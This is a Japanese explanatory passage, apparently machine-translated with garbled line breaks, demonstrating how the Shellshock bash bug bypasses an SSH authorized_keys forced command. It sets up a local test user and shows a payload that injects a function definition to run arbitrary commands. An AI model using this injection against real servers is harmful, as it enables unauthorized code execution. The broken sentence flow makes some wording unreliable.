これが悪用される1つの例は、authorized_keys
強制コマンドを使用したサーバー上です。にエントリを追加するときに、ssh公開キーが使用されるたびに強制的に実行されるように~/.ssh/authorized_keys
行のプレフィックスを付けることができます。このエクスプロイトでは、ターゲットユーザーのシェルがに設定されている場合、攻撃者はこのエクスプロイトを利用して、強制されるコマンド以外のものを実行できます。command="foo"
foo
bash
これはおそらく例の方が理にかなっているので、例を示します。
sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser
ここで、ユーザーを設定しtestuser
ますecho starting sleep; sleep 1
。これにより、sshキーを使用したssh接続が強制的に実行されます。
これを次の方法でテストできます。
$ ssh testuser@localhost echo something else
starting sleep
echo something else
実行されない方法に注意してください。ただしstarting sleep
、強制コマンドが実行されたことを示しています。
次に、このエクスプロイトの使用方法を示します。
$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep
これsshd
は、SSH_ORIGINAL_COMMAND
環境変数を渡されたコマンドに設定するため機能します。そのため、sshd
実行したのsleep
はコマンドですが、悪用のためにコードは実行されたままです。